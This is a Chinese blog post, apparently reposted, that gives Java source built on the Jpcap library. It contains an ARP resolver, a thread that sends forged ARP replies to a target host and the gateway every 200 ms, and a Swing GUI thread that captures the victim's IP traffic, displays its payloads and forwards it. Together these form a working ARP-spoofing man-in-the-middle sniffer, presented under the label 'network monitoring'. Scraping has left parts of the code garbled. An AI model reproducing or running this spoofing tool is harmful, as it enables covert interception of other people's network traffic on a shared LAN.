我是靠谱客的博主 爱撒娇路灯,这篇文章主要介绍如何使用Jpcap 包实现网络监听,现在分享给大家,希望可以做个参考。

实现的代码如下(这里提供几个重要的类)

复制代码
1
2
/**
  • @(#)ARP.java
  • ARP类
  • 用于解析目标主机IP的地址为相应的MAC地址
  • @author scholar_ii
  • @version 1.00 2007/12/10
  • @since JDK1.6
    */
    import jpcap.JpcapCaptor;
    import jpcap.JpcapSender;
    import java.util.Arrays;
    import java.net.InetAddress;
    import java.net.Inet4Address;
    import jpcap.packet.ARPPacket;
    import jpcap.packet.EthernetPacket;
    import jpcap.NetworkInterface;
    import jpcap.NetworkInterfaceAddress;
    import javax.swing.JOptionPane;

public class ARP
{
/**
* 静态方法:用于解析目标IP地址,得到相应的MAC地址
* @param targetIp
* 目标主机IP地址
* @return targetMAC
* 目标主机MAC地址
*/
public static byte[] getTargetMAC(InetAddress targetIp)
{
NetworkInterface[] devices=JpcapCaptor.getDeviceList();
NetworkInterface device=null;
//寻找适合的网络设备
loop: for(NetworkInterface d:devices)
{
for(NetworkInterfaceAddress addr:d.addresses)
{
if(!(addr.address instanceof Inet4Address)) continue;
byte[] bip=targetIp.getAddress();
byte[] subnet=addr.subnet.getAddress();
byte[] bif=addr.address.getAddress();
for(int i=0;i<4;i++){
bip[i]=(byte)(bip[i]&subnet[i]);
bif[i]=(byte)(bif[i]&subnet[i]);
}
if(Arrays.equals(bip,bif))
{
device=d;
break loop;
}
}
}

if(device==null)
throw new IllegalArgumentException(targetIp+" is not a local address");
JpcapCaptor captor = null;
//打开一个网络数据包捕捉者
try
{
captor=JpcapCaptor.openDevice(device,2000,false,3000);
//只接收ARP数包
captor.setFilter(“arp”,true);
}catch(Exception e)
{

}
//获得发送数据包的实例
JpcapSender sender=captor.getJpcapSenderInstance();
InetAddress srcip=null;
for(NetworkInterfaceAddress addr:device.addresses)
if(addr.address instanceof Inet4Address){
srcip=addr.address;
break;
}
//进行广播数据报的MAC地址
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
//构造REQUEST 类型的ARP的数据包
ARPPacket arp=new ARPPacket();
arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST;
arp.hlen=6;
arp.plen=4;
//源MAC地址
arp.sender_hardaddr=device.mac_address;
//源IP地址
arp.sender_protoaddr=srcip.getAddress();
//目地MAC地址:广播地址全为1(二进制)
arp.target_hardaddr=broadcast;
//目地IP地址
arp.target_protoaddr=targetIp.getAddress();
//构造以太网头部
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;
ether.dst_mac=broadcast;
//ARP数据包加上以网关头部
arp.datalink=ether;
//向局域网广播ARP请求数据报
sender.sendPacket(arp);
//接收目标主面的答应ARP数据报
while(true)
{
ARPPacket p=(ARPPacket)captor.getPacket();
if(p==null)
{
throw new IllegalArgumentException(targetIp +“不是本地局域网的IP号”);
}
if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
return p.sender_hardaddr;
}
}

复制代码
1
2
}

}

/**

  • @(#)TrickerThread.java
  • TrickerThread类用于向目标主与网关发送伪造的ARP
  • 数据包.起到欺骗的角色
  • @author scholar_ii
  • @version 1.00 2007/12/18
    */

import java.net.InetAddress;
import jpcap.packet.;
import jpcap.
;

public class TrickerThread extends Thread
{
/**
* 目标主机IP
/
private String targetIP;
/
*
* 网关IP
/
private String gateWayIP;
/
*
* 目标主机MAC
/
private byte[] targetMAC;
/
*
* 网关MAC
/
private byte[] gateWayMAC;
/
*
* 发往目标主机的伪造的ARP—REPY数据包
/
private ARPPacket targetPacket;
/
*
* 发往网关的伪造的ARP—REPY数据包
/
private ARPPacket gateWayPacket;
/
*
* 网卡设备
/
private NetworkInterface device;
/
*
* 网络数据包发送者
/
private JpcapSender sender = null;
/

* 构造方法
* 类的初使化
* @param device
* 网卡设备
* @param sender
* 网络数据包捕捉者
* @param targetIP
* 目标主机IP
* @param gateWayIP
* 网关IP
* @param targetMAC
* 目标主机MAC
* @param gateWayMAC
* 网关MAC
*/

public TrickerThread(NetworkInterface device, JpcapSender sender,
String targetIP, String gateWayIP, byte[] targetMAC , byte[] gateWayMAC)
{
this.device = device;
this.sender = sender;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
makePacket(); } /* * 线程方法 * 每隔200ms向目标主机与网络发送伪造的ARP_REPY数据包 * */ public void run() { sender.sendPacket(targetPacket); sender.sendPacket(gateWayPacket); System.out.println("欺骗!!"); try { Thread.sleep(200); } catch(Exception e) { System.out.println(); } } private void makePacket() { /*构造欺骗目标的ARP包*/ /*目地IP地址为目标IP,目地MAC地址为目标MAC*/ /*源IP地址为网关IP(实际上是应该本地主IP),源MAC地址为本地主机MAC*/ targetPacket = new ARPPacket();//发往目标主机的ARP包

targetPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
targetPacket.prototype=ARPPacket.PROTOTYPE_IP;
targetPacket.operation=ARPPacket.ARP_REPLY;//REPLY回复型ARP数据包
targetPacket.hlen=6;
targetPacket.plen=4;
targetPacket.sender_hardaddr=device.mac_address;//源MAC地址
targetPacket.target_hardaddr=targetMAC;//目地MAC地址
try
{
/源IP地址:网关IP,进行欺骗/
targetPacket.sender_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
/目地IP地址/
targetPacket.target_protoaddr=InetAddress.getByName(targetIP).getAddress();
}catch(Exception e)
{

}
/构造以太网帧的头部/
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
/源MAC地址:本地MAC/
ether.src_mac=device.mac_address;
/目地MAC地址:目标MAC/
ether.dst_mac=targetMAC;
/ARP包加上以太网帖头部/
targetPacket.datalink=ether;

/构造欺骗网关的ARP包/
/目地IP地址为网关IP,目地MAC为网关MAC/
/源IP地址为为目标IP(实际应该为目标IP本地主机IP),源MAC地址为本地主MAC/
gateWayPacket = new ARPPacket();//发往网关的ARP数据报
gateWayPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
gateWayPacket.prototype=ARPPacket.PROTOTYPE_IP;
gateWayPacket.operation=ARPPacket.ARP_REPLY;
gateWayPacket.hlen=6;
gateWayPacket.plen=4;
gateWayPacket.sender_hardaddr=device.mac_address;//源MAC地址
gateWayPacket.target_hardaddr=gateWayMAC;//目标MAC地址
try
{
/源IP地址:目标IP,进行欺骗/
gateWayPacket.sender_protoaddr=InetAddress.getByName(targetIP).getAddress();
/目地IP地址:网关/
gateWayPacket.target_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
}catch(Exception e)
{

}

ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;//源MAC地址
ether.dst_mac=gateWayMAC;//目的MAC地址
gateWayPacket.datalink=ether;

复制代码
1
2
}

}

/**

  • @(#)MinitorAntherHostThread.java
  • MinitorAntherHostThread类
  • 用于监听局域网的目标主机的通讯
  • @author scholar_ii
  • @version 1.00 2007/12/9
    */

import jpcap.;
import java.io.
;
import java.net.;
import jpcap.packet.
;
import javax.swing.table.DefaultTableModel;

public class MinitorAntherHostThread extends Thread
{
/**

  • 设备列表
    /
    private jpcap.NetworkInterface[] devices = null;
    /
    *

    • 使用的设备
      /
      private jpcap.NetworkInterface device = null ;
      /
      *
    • 网络数据包的捕捉者
      /
      private JpcapCaptor captor = null ;
      /
      *
    • 网络数据包的发送者
      /
      private JpcapSender sender = null;
      /
      *
    • 目标主机MAC地址
      /
      private byte[] targetMAC;
      /
      *
    • 网关MAC地址
      /
      private byte[] gateWayMAC;
      /
      *
    • 目标IP地址
      /
      private String targetIP;
      /
      *
    • 网关IP地址
      /
      private String gateWayIP;
      /
      *
    • 表格数据模式
      */
      private DefaultTableModel model;

    /* 构造函数

    • @param model
    • 复制代码
      1
      2
      表格数据模型
    • @param targetIP
    • 复制代码
      1
      2
      目标主机IP
    • @param gateWayIP
    • 复制代码
      1
      2
      网关IP
    • @param targetMAC
    • 复制代码
      1
      2
      目标主机MAC地址
    • @param gateWayMAC
    • 复制代码
      1
      2
      网关MAC地址

    */

public MinitorAntherHostThread(DefaultTableModel model, String targetIP
, String gateWayIP, byte[] targetMAC, byte[] gateWayMAC)
{
this.model = model;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;
try
{
initDevice();
}
catch(IOException e)
{

复制代码
1
2
3
4
} }

/**
* 初始化设备
* JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
* dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
* 注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
* JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
* 虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
* 配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
* @throws IOException
* 如要打开网卡设备出现异常
*/
private void initDevice() throws IOException
{
devices = JpcapCaptor.getDeviceList(); //去除虚拟网卡的处理
int index = 0;
if(devices.length>1)
index = 1;
device = devices[index];//只有一个设备
captor = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
captor.setFilter(“ip”,true); //只监听B的IP数据包
sender = captor.getJpcapSenderInstance();//获得发送数据包的实例
}

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/** * 打印接受到的数据包并转发 */ public void run()//接收数据包并转发 { TrickerThread tricker = new TrickerThread(device, sender,targetIP, gateWayIP, targetMAC , gateWayMAC); /*开始欺骗线程*/ tricker.start(); IPPacket dataPacket = null; /*处理接收与转发数据包*/ while(true) { dataPacket =(IPPacket)captor.getPacket(); if(dataPacket!=null) { System.out.println(dataPacket); Object[] data = {"","","",""}; if(dataPacket.src_ip.getHostAddress().equals(targetIP)) { data[0] = "发送"; data[1] = dataPacket.getClass().getName(); data[2] = dataPacket; StringBuffer buffer = new StringBuffer(); for(Byte a:dataPacket.data) { buffer.append(Byte.toString(a)); } data[3] = new String(buffer); model.addRow(data);//显不数据包 /*转发目标想发送到网络(到网关)的数据包*/ send(dataPacket, gateWayMAC); System.out.println(dataPacket); } else if(dataPacket.dst_ip.getHostAddress().equals(targetIP)) { data[0] = "接收"; data[2] = dataPacket; StringBuffer buffer = new StringBuffer(); for(Byte a:dataPacket.data) { buffer.append(Byte.toString(a)); } data[3] = new String(buffer); model.addRow(data);//显不数据包 /*转发网络(网关)想发关到目标主机的数据包*/ send(dataPacket, targetMAC); System.out.println(dataPacket); } } } } /** * 转发数据包的函数 * @param packet * 发送的数据包 * @param changeMAC * 发送目标的物理地址 */ private void send(Packet packet, byte[] changeMAC) { EthernetPacket eth; if(packet.datalink instanceof EthernetPacket) { eth = (EthernetPacket)packet.datalink; for(int i = 0; i < 6; i++) { eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标 eth.src_mac[i] = device.mac_address[i]; //源发送者为A } sender.sendPacket(packet); } }

}

/**

  • @(#)MinitorAntherHostPane.java
  • @author
  • @version 1.00 2007/12/9
    */
    import javax.swing.JLabel;

import javax.swing.JTable;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JTextField;
import java.awt.FlowLayout;
import javax.swing.JCheckBox;
import java.net.InetAddress;
import java.awt.BorderLayout;
import javax.swing.JScrollPane;
import java.awt.event.MouseEvent;
import javax.swing.BorderFactory;
import java.awt.event.MouseAdapter;
import java.awt.event.ActionListener;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostPane extends JPanel
{
private JButton initButton;
private JButton startButton;
private JButton stopButton;
private JButton endButton;
private JPanel operatePane;
private JTable showPackage;
private DefaultTableModel model;
private JScrollPane showPane;
private JPanel northPane ;
private JLabel label;
private JLabel label2;
private JLabel label3;
private JLabel label4;
private JTextField textField;
private JTextField textField2;
private JTextField textField3;
private JTextField textField4;
private JButton arpButton;
private String targetIp;
private String gateWayIp;
private byte[] targetMac;
private byte[] gateWayMac;
private MinitorAntherHostThread minitor;
public MinitorAntherHostPane()
{
Object[][] data = {{}};
Object[] title = {“监听类型”,“数据包类型”,“数据包通信信息”,“数据包的数据”};
model = new DefaultTableModel(data, title);
showPackage = new JTable(model);
showPackage.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
showPane = new JScrollPane(showPackage);
showPane.setBorder(BorderFactory.createTitledBorder(“监听的数据包列表”));

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
initButton = new JButton("开始监听"); initButton.addMouseListener( new MouseAdapter() { public void mouseClicked(MouseEvent e) { initButton.setEnabled(false); stopButton.setEnabled(true); MinitorAntherHostThread minitor = new MinitorAntherHostThread(model,targetIp,gateWayIp,targetMac,gateWayMac); minitor.start(); } }); startButton = new JButton("继续监听"); startButton.setEnabled(false); startButton.addMouseListener( new MouseAdapter() { public void mouseClicked(MouseEvent e) { stopButton.setEnabled(true); endButton.setEnabled(false); minitor.resume(); } } ); stopButton = new JButton("暂停监听"); stopButton.setEnabled(false); stopButton.addMouseListener( new MouseAdapter() { public void mouseClicked(MouseEvent e) { stopButton.setEnabled(false); startButton.setEnabled(true); endButton.setEnabled(true); minitor.suspend(); } } ); endButton = new JButton("终止监听"); endButton.setEnabled(false); endButton.addMouseListener( new MouseAdapter() { public void mouseClicked(MouseEvent e) { initButton.setEnabled(true); startButton.setEnabled(false); stopButton.setEnabled(false); endButton.setEnabled(false); try { minitor.destroy(); } catch(Exception ex) { } } } ); operatePane = new JPanel(); operatePane.add(initButton); operatePane.add(startButton); operatePane.add(stopButton); operatePane.add(endButton); operatePane.setBorder(BorderFactory.createTitledBorder("操作选项")); label = new JLabel("目标主机的IP地址:"); textField = new JTextField(9); arpButton = new JButton("解析MAC地址"); arpButton.addMouseListener( new MouseAdapter() { public void mouseClicked(MouseEvent e) { if(textField.getText().equals("")) { } else { try { targetIp = textField.getText(); targetMac = ARP.getTargetMAC(InetAddress.getByName(targetIp)); } catch(Exception ex) { } StringBuffer buffer = new StringBuffer(); for (byte b : targetMac) buffer.append(Integer.toHexString(b&0xff) + ":"); textField2.setText(new String(buffer)); try { gateWayIp = textField3.getText(); gateWayMac = ARP.getTargetMAC(InetAddress.getByName(gateWayIp)); } catch(Exception ex) { } buffer = new StringBuffer(); for (byte b : gateWayMac) buffer.append(Integer.toHexString(b&0xff) + ":"); textField4.setText(new String(buffer)); } } } ); label2 = new JLabel("目标主机MAC地址:"); textField2 = new JTextField(9); label3 = new JLabel("网关IP地址:"); textField3 = new JTextField(9); label4 = new JLabel("网关MAC地址:"); textField4 = new JTextField(9); northPane = new JPanel(new FlowLayout(FlowLayout.LEFT)); northPane.add(label3); northPane.add(textField3); northPane.add(label); northPane.add(textField); northPane.add(arpButton); northPane.add(label4); northPane.add(textField4); northPane.add(label2); northPane.add(textField2); setLayout(new BorderLayout()); add(northPane, BorderLayout.NORTH); add(showPane, BorderLayout.CENTER); add(operatePane, BorderLayout.SOUTH); }

}

最后

以上就是爱撒娇路灯最近收集整理的关于如何使用Jpcap 包实现网络监听的全部内容,更多相关如何使用Jpcap内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(54)

评论列表共有 0 条评论

立即
投稿
返回
顶部